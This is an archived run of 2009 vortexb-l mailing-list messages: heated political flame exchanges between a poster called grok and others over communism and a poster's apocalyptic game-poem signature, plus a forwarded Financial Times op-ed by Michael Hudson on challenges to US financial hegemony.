Fa/kBFtwYplUB9JlIZzjBujKVDCI6D2E0gGPzVMTEovY+JfEylLwrNnHUQuqyyEJeVn7 6xrMKG3ia8c6Pu9udOULUhspqT9o8qH5EdmrY= MIME-Version: 1.0 In-Reply-To: References: <605903.53013.qm@web30201.mail.mud.yahoo.com> <8CBBAB36035E442-E90-1509@webmail-me06.sysops.aol.com> <4A34F4A7.2030202@pobox.com> <20090614094259.244c9777.peatbogham@gmail.com> <20090615012400.GA4645@shell.resist.ca> <63ffa6020906141845i6f8aac54rb14c6965d1f765a2@mail.gmail.com> From: Charles HOPE Date: Sun, 14 Jun 2009 22:03:11 -0400 Message-ID: <63ffa6020906141903l56f91d23t7ae0900e6cc4e2a7@mail.gmail.com> Subject: Re: [VoB]:Re: [Vo]:Jed's temporary ban... To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636b4320ffeb817046c59763c Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4381 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 623 --001636b4320ffeb817046c59763c Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Good catch. It's actually from a Nine inch Nails Game. < http://www.ninwiki.com/105th_Airborne_Crusaders> where in the future, American soldiers occupy a nuclear-bombed Syria to bring Christianity to th= e heathens. I just thought it was interesting poetry. On Sun, Jun 14, 2009 at 9:52 PM, John Berry wrote: > Ok Charles, I've got to call you on your creepy-ass signature, WTF? I > don't get it? I mean is it pro nuclear annihilation? > > > > On Mon, Jun 15, 2009 at 1:45 PM, Charles HOPE < > lookslikeiwasright@gmail.com> wrote: > >> >> Never did I see a second sun >> Never did my skin touch a land of glass >> Never did my rifle point but true >> But in a land empty of enemies >> Waiting for the tick-tick-tick of the want >> A uranium angel >> Crying =93behold,=94 >> This land that knew fire is yours >> Taken from Corruption >> To begin anew >> > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636b4320ffeb817046c59763c Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Good catch. It's actually from a Nine inch Nails Game. <http://www.ninwiki.com/105t= h_Airborne_Crusaders> where in the future, American soldiers occupy = a nuclear-bombed Syria to bring Christianity to the heathens.

I just thought it was interesting poetry.



On Sun, Jun 14, 2009 at 9:52 PM, John Berry = <aether22@gmail.com>= wrote:
Ok Charles, I'= ;ve got to call you on your creepy-ass signature, WTF?=A0 I don't get i= t?=A0 I mean is it pro nuclear annihilation?



On Mon,= Jun 15, 2009 at 1:45 PM, Charles HOPE <lookslikeiwasright@gmai= l.com> wrote:

Never did I s= ee a second sun
Never did my skin touch a land of glass
Never did my = rifle point but true
But in a land empty of enemies
Waiting for the tick-tick-tick of the wan= t
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew




--
Never did I= see a second sun
Never did my skin touch a land of glass
Never did m= y rifle point but true
But in a land empty of enemies
Waiting for the= tick-tick-tick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636b4320ffeb817046c59763c-- From vortexb-l-request@eskimo.com Sun Jun 14 20:18:55 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n5F3Imau008893; Sun, 14 Jun 2009 20:18:53 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n5F3ImRQ008878; Sun, 14 Jun 2009 20:18:48 -0700 Resent-Date: Sun, 14 Jun 2009 20:18:48 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sun, 14 Jun 2009 20:18:36 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:Jed's temporary ban... Message-ID: <20090615031836.GA18952@shell.resist.ca> Reply-To: grok@resist.ca References: <605903.53013.qm@web30201.mail.mud.yahoo.com> <8CBBAB36035E442-E90-1509@webmail-me06.sysops.aol.com> <4A34F4A7.2030202@pobox.com> <20090614094259.244c9777.peatbogham@gmail.com> <20090615012400.GA4645@shell.resist.ca> <63ffa6020906141845i6f8aac54rb14c6965d1f765a2@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020906141845i6f8aac54rb14c6965d1f765a2@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Kiwi, JICC, U.S. Army Europe, Vigilant Shield, FIRE DOME I-band User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4382 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 624 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > After 150 years of disappointment and failure, hey, I'd be bitter too. Let > us know when you'd like to join, like, every other Communist in inevitable > surrender to liberalism. Like I say: deluded. And hypokritikal. And there's little point to engaging youse, either. What would be the point, in the face of all this intellektual dishonesty exhibited on vortex-l..? AFAIC we're essentially reduced to taunts, like little boys. Continue on, believing in your terminal capitalist fairytale. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAko1vYsACgkQB9bXLLhitTO1VgCfX6Gvv+ULhB5M2nbrV45muTTw 5JUAn2b4ia5Aycc4fac4BGtV26Ts5tQF =nxoq -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sun Jun 14 20:20:30 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n5F3KPGA013560; Sun, 14 Jun 2009 20:20:25 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n5F3KPVm013544; Sun, 14 Jun 2009 20:20:25 -0700 Resent-Date: Sun, 14 Jun 2009 20:20:25 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: Harry Veeder To: vortexb-l@eskimo.com Message-ID: <5496a544e3.544e35496a@ncf.ca> Date: Sun, 14 Jun 2009 23:20:23 -0400 X-Mailer: iPlanet Messenger Express 5.2 Patch 2 (built Jul 14 2004) MIME-Version: 1.0 Content-Language: en Subject: Re: [VoB]:Long Video about Basic Income X-Accept-Language: en Priority: normal Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4383 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 625 sorry I forgot the link! http://dotsub.com/view/26520150-1acc-4fd0-9acd-169d95c9abe1 (streaming video) Harry ----- Original Message ----- From: Harry Veeder Date: Sunday, June 14, 2009 8:43 pm Subject: [VoB]:Long Video about Basic Income > Video explaining basic income. > 1.5 hours. In german with English subtitles > but only the first 60% is translated. > > (BTW This is neat site where video's can be posted and translated.) > > Harry > > From vortexb-l-request@eskimo.com Sun Jun 14 20:26:33 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n5F3QUHK014804; Sun, 14 Jun 2009 20:26:30 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n5F3QUFp014797; Sun, 14 Jun 2009 20:26:30 -0700 Resent-Date: Sun, 14 Jun 2009 20:26:30 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sun, 14 Jun 2009 20:26:18 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:Jed's temporary ban... Message-ID: <20090615032618.GA24456@shell.resist.ca> Reply-To: grok@resist.ca References: <605903.53013.qm@web30201.mail.mud.yahoo.com> <8CBBAB36035E442-E90-1509@webmail-me06.sysops.aol.com> <4A34F4A7.2030202@pobox.com> <20090614094259.244c9777.peatbogham@gmail.com> <20090615012400.GA4645@shell.resist.ca> <63ffa6020906141845i6f8aac54rb14c6965d1f765a2@mail.gmail.com> <63ffa6020906141903l56f91d23t7ae0900e6cc4e2a7@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020906141903l56f91d23t7ae0900e6cc4e2a7@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Lead-207, air defence system, SURSAT, 9K33 Osa, Ducommun Incorporated User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4384 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 626 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > Good catch. It's actually from a Nine inch Nails Game. < > http://www.ninwiki.com/105th_Airborne_Crusaders> where in the future, > American soldiers occupy a nuclear-bombed Syria to bring Christianity to the > heathens. In your fascist wet-dreams. > I just thought it was interesting poetry. Right... Apokalytpik symbolism really gets those kreatif juices flowing, doesn't it..? - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAko1v1oACgkQB9bXLLhitTPCJgCeKAqnbysHRjNWCPDx836Gd8zo +VkAn1o+M2Sw7gp15+yRr0Ab9YNhmiap =DUPG -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sun Jun 14 20:31:35 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5F3VXex029864; Sun, 14 Jun 2009 20:31:33 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5F3VStj029847; Sun, 14 Jun 2009 20:31:28 -0700 Resent-Date: Sun, 14 Jun 2009 20:31:28 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sun, 14 Jun 2009 20:31:21 -0700 From: grok To: vortexb-l@eskimo.com Message-ID: <20090615033121.GB24456@shell.resist.ca> Reply-To: grok@resist.ca MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline Content-Transfer-Encoding: 8bit X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Lead-207, air defence system, SURSAT, 9K33 Osa, Ducommun Incorporated User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4385 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Michael Hudson: Financial Times: Washington cannot call all the shots Status: O X-Status: X-Keywords: X-UID: 627 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Here's some red meat I'm throwing out for youse animals. - -- grok. - ----- Forwarded message "It is no mystery to other countries how the US remains above the law. Foreigners see a financial system backed by American military bases encircling the globe. The IMF, World Bank, World Trade Organisation and other Washington surrogates are seen as vestiges of a lost American empire no longer able to rule by economic strength, left only with military domination. They see this hegemony cannot continue without adequate revenues and are attempting to hasten the bankruptcy of the US financial-military world order. If China, Russia and their allies have their way, the US will no longer live off the savings of others, nor have the money for unlimited military spending." http://www.ft.com/cms/s/0/e9104e82-58f7-11de-80b3-00144feabdc0.html?nclick_check=1 *Washington cannot call all the shots* By Michael Hudson Published: June 14 2009 19:06 | Last updated: June 14 2009 19:06 Challenging America will be the focus of meetings in Yekaterinburg, Russia, on Monday and Tuesday for Chinese President Hu Jintao, Russian President Dmitry Medvedev and other leaders of the six-nation Shanghai Co-operation Organisation. The alliance comprises Russia, China, Kazakhstan, Tajiki­stan, Kyrgyzstan and Uzbekistan, with observer status for Iran, India, Pakistan and Mongolia. The attendees have assured American diplomats that dismantling the US financial and military hegemony is not their aim. They simply want to discuss mutual aid - but in a way that has no role for the US or for the dollar as a vehicle for trade among these countries. The meeting is an opportunity for China, Russia and India to "build an increasingly multipolar world order", as Mr Medvedev put it in a St Petersburg speech this month. What he meant was this: we have reached our limit in subsidising the US military encirclement of Eurasia while also allowing the US to appropriate our exports, companies and real estate in exchange for paper money of questionable worth. "The artificially maintained unipolar system", Mr Medvedev said, was based on "one big centre of consumption, financed by a growing deficit, and thus growing debts, one formerly strong reserve currency, and one dominant system of assessing assets and risks". Keen observers of America, if not effective managers of their own economies, these countries argue that the root of the global financial crisis is that the US makes too little and spends too much. Especially upsetting is US military expenditure - such as military aid to Georgia or the presence in the oil-rich Middle East and central Asia - using money that foreign central banks recycle. Overconsumption by US citizens, US buy-outs of foreign companies and dollars the Pentagon spends abroad all end up in foreign central banks. These governments face a hard choice: either recycle the dollars back to America by buying US Treasury bonds or let the "free market" force up their currencies relative to the dollar - thereby pricing their exports out of world markets, creating domestic unemployment and business failures. US-style free markets hook them into a system that forces them to accept unlimited dollars. Now they want out. This means creating an alternative. Rather than making merely "cosmetic changes as some countries and perhaps the international financial organisations themselves might want", Mr Medvedev concluded his St Petersburg speech: "What we need are financial institutions of a completely new type, where particular political issues and motives, and particular countries, will not dominate." For starters, the six countries intend to trade in their own currencies so as to get the benefit of mutual credit, rather than give it to the US. In recent months China has struck bilateral deals with Brazil and Malaysia to trade in renminbi rather than the dollar, sterling or euros. Many foreigners see the US as a lawless nation. How else to characterise a country that holds out a set of laws for others - on war, debt repayment and the treatment of prisoners - but ignores them itself? The US is the world's largest debtor, yet has avoided the pain of "structural adjustments" imposed on other debtor nations. US interest rate and tax reductions in the face of exploding trade and budget deficits are seen as the height of hypocrisy in view of the austerity programmes that Washington has forced on other countries via the International Monetary Fund and other vehicles. It is no mystery to other countries how the US remains above the law. Foreigners see a financial system backed by American military bases encircling the globe. The IMF, World Bank, World Trade Organisation and other Washington surrogates are seen as vestiges of a lost American empire no longer able to rule by economic strength, left only with military domination. They see this hegemony cannot continue without adequate revenues and are attempting to hasten the bankruptcy of the US financial-military world order. If China, Russia and their allies have their way, the US will no longer live off the savings of others, nor have the money for unlimited military spending. US officials wanted to attend Yekaterinburg as observers. They were told no. It is a word that Americans will hear much more in the future. *The writer is professor of economics at the University of Missouri* Copyright The Financial Times Limited 2009 - ----- End forwarded message ----- - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAko1wIkACgkQB9bXLLhitTNddACfUlRfOrf0b+PtdjOdiwiAzD/s HB0AoJRa6pVDIaX9NsoWz8rRwtwie8dV =rVGq -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sun Jun 14 21:04:49 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n5F44k88021476; Sun, 14 Jun 2009 21:04:47 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n5F44kZx021462; Sun, 14 Jun 2009 21:04:46 -0700 Resent-Date: Sun, 14 Jun 2009 21:04:46 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:cc:content-type; bh=sKX9JAjZaIRI1Qm5Mt2sjigN8FFz/C6+zjYKed6At5A=; b=BAKPMJcd27gaUPCFYyXyHtgEXR+C62ERv1DxP5w+41PVOXl66YlaPIidMaEASHECLn rFSGp3YViKjAqsQIuT/xg8kckdF6aCYtJnnFStbv7mOhmYvaI38h7wiuv/4iV0xVdAqH JzdZT7ErQDQpwmeakmnbh/1qHh5kYFGIfPZag= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; b=foRCeJ0aw7NxWiuSILieqRemMmNTMT4BNnWtjvxtfPhv0Ocl1Z4J0HCiAosI8d/H70 6sBjsA/XdvxYt4yQQVOdSre2T0nFhUnTVES6BhATJswN3eHHdcOPTxdCTWsM4KqwOU81 r9ohGLmBmBkhe28+swyqtyxw6qlh3UnQ3Fl0k= MIME-Version: 1.0 In-Reply-To: <20090615032618.GA24456@shell.resist.ca> References: <605903.53013.qm@web30201.mail.mud.yahoo.com> <8CBBAB36035E442-E90-1509@webmail-me06.sysops.aol.com> <4A34F4A7.2030202@pobox.com> <20090614094259.244c9777.peatbogham@gmail.com> <20090615012400.GA4645@shell.resist.ca> <63ffa6020906141845i6f8aac54rb14c6965d1f765a2@mail.gmail.com> <63ffa6020906141903l56f91d23t7ae0900e6cc4e2a7@mail.gmail.com> <20090615032618.GA24456@shell.resist.ca> From: Charles HOPE Date: Mon, 15 Jun 2009 00:04:21 -0400 Message-ID: <63ffa6020906142104gc4c70a8q4dcced04059bb785@mail.gmail.com> Subject: Re: [VoB]:Re: [Vo]:Jed's temporary ban... To: grok@resist.ca Cc: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5a4847072ad046c5b2847 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4386 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 628 --001636c5a4847072ad046c5b2847 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Communism has rotted your brain to the point where you think I'd actually like to see that fictional scenario play out? On Sun, Jun 14, 2009 at 11:26 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > Good catch. It's actually from a Nine inch Nails Game. < > > http://www.ninwiki.com/105th_Airborne_Crusaders> where in the future, > > American soldiers occupy a nuclear-bombed Syria to bring Christianity t= o > the > > heathens. > > In your fascist wet-dreams. > > > > > > I just thought it was interesting poetry. > > Right... Apokalytpik symbolism really gets those kreatif juices flowing, > doesn't it..? > > > - -- grok. > > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAko1v1oACgkQB9bXLLhitTPCJgCeKAqnbysHRjNWCPDx836Gd8zo > +VkAn1o+M2Sw7gp15+yRr0Ab9YNhmiap > =3DDUPG > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5a4847072ad046c5b2847 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Communism has rotted your brain to the point where you think I'd actual= ly like to see that fictional scenario play out?



On Sun, Jun 14, 2009 at 11:26 PM, grok &= lt;grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> Good catch. It's actually from a Nine inch= Nails Game. <
> http://www.ninwiki.com/105th_Airborne_Crusaders> where in th= e future,
> American soldiers occupy a nuclear-bombed Syria to bring Christianity = to the
> heathens.

In your fascist wet-dreams.




> I just thought it was interesting poetry.

Right... Apokalytpik symbolism really gets those kreatif juices flowi= ng, doesn't it..?


- -- grok.








- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAko1v1oACgkQB9bXLLhitTPCJgCeKAqnbysHRjNWCPDx836Gd8zo
+VkAn1o+M2Sw7gp15+yRr0Ab9YNhmiap
=3DDUPG
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--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5a4847072ad046c5b2847-- From vortexb-l-request@eskimo.com Mon Jun 15 07:22:23 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5FEMK3x016696; Mon, 15 Jun 2009 07:22:20 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5FEMKaj016680; Mon, 15 Jun 2009 07:22:20 -0700 Resent-Date: Mon, 15 Jun 2009 07:22:20 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 15 Jun 2009 07:22:05 -0700 From: grok To: vortexb-l@eskimo.com Message-ID: <20090615142205.GA19616@shell.resist.ca> Reply-To: grok@resist.ca MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: MoD, F-15C, CSLs, PARKHILL, DefCon V User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <3LlsF.A.gEE.cklNKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4387 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Denial ain't a river in Misr Status: O X-Status: X-Keywords: X-UID: 629 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I got this fragment about me from somewhere: "Indeed. However, the real fault is the reaction of normal people to the insane. If the people in this group had recognized the nature of Grok and responded in an appropriate way, i.e. ignored him, his effects would have been nil. Instead, efforts were made to engage him as if he were a normal, rational person. This same approach to the dysfunctional individual plays out on a national scale when responding to leaders and spokesman who suffer from the same me..." blah, blah, blah. Asshole and idiot. So one more time: 100 of you can get together and spout this Party line of crap/lies -- and you'd ALL still be fucking wrong. Not to mention liars and hypocrites. You people need a serious dose of Reality, you do. And claiming to be dissident scientists on top of it all makes this all the more pathetic... But since you're so easy to hate -- I really hope you get fucked by your Big Brother sugar daddy really soon, and then maybe we'll find out just how 'normal' YOUSE all are. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAko2WQwACgkQB9bXLLhitTOFfwCfXfsaOb5P7DH/krnpY53MICWI /1YAnjW7ncLvipCXY1JhTqkRrryEww7v =2QEo -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Mon Jun 15 08:10:15 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5FFAC3v031300; Mon, 15 Jun 2009 08:10:12 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5FFABQs031292; Mon, 15 Jun 2009 08:10:11 -0700 Resent-Date: Mon, 15 Jun 2009 08:10:11 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 15 Jun 2009 08:10:00 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Denial ain't a river in Misr Message-ID: <20090615151000.GB19616@shell.resist.ca> Reply-To: grok@resist.ca References: <20090615142205.GA19616@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: MoD, F-15C, CSLs, PARKHILL, DefCon V User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4388 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 630 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, John Berry mounted the barricade and roared out: > > > > But since you're so easy to hate > > > > Er, grok, it's just that you find hate so easy. > Really though hating is illogical, understandable but illogical, things are > the way they are for reasons. > > More constructive than hating however is going beyond emotion and instead > understanding the mechanics behind things including the many things that > impact on psychology, most you would not guess. > > Once you understand how things work you don't need to get all emotional, and > you even understand often how to put make better. You people will try absolutely anything. Any angle. Like I said: pathetic. And this is why I call you intellectually dishonest -- meaning that your word is meaningless. Your motives: entirely suspect. And so: would I or anyone believe anything you had to say about science, either? I think we'd need a second opinion, allright. You're a bunch of Mylows, is what youse are. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAko2ZEgACgkQB9bXLLhitTN4IACgkwZ6H14mfCWGgtNPNLqH+6Zs GmgAnjRWMawJ1shfXr64uhqZb0vweIMG =ys/v -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Mon Jun 15 08:29:29 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n5FFTOdQ002231; Mon, 15 Jun 2009 08:29:24 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n5FFTNZ1002217; Mon, 15 Jun 2009 08:29:23 -0700 Resent-Date: Mon, 15 Jun 2009 08:29:23 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 15 Jun 2009 08:29:15 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Denial ain't a river in Misr Message-ID: <20090615152915.GA6819@shell.resist.ca> Reply-To: grok@resist.ca References: <20090615142205.GA19616@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: C-802, Misagh II, 64 Vauxhall Cross, advise, electro-optic power limiters User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <9R13-D.A.ji.TjmNKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4389 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 631 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 > You can get all messages on the vortex archives. > > Got Google? > > Terry Yes, I know 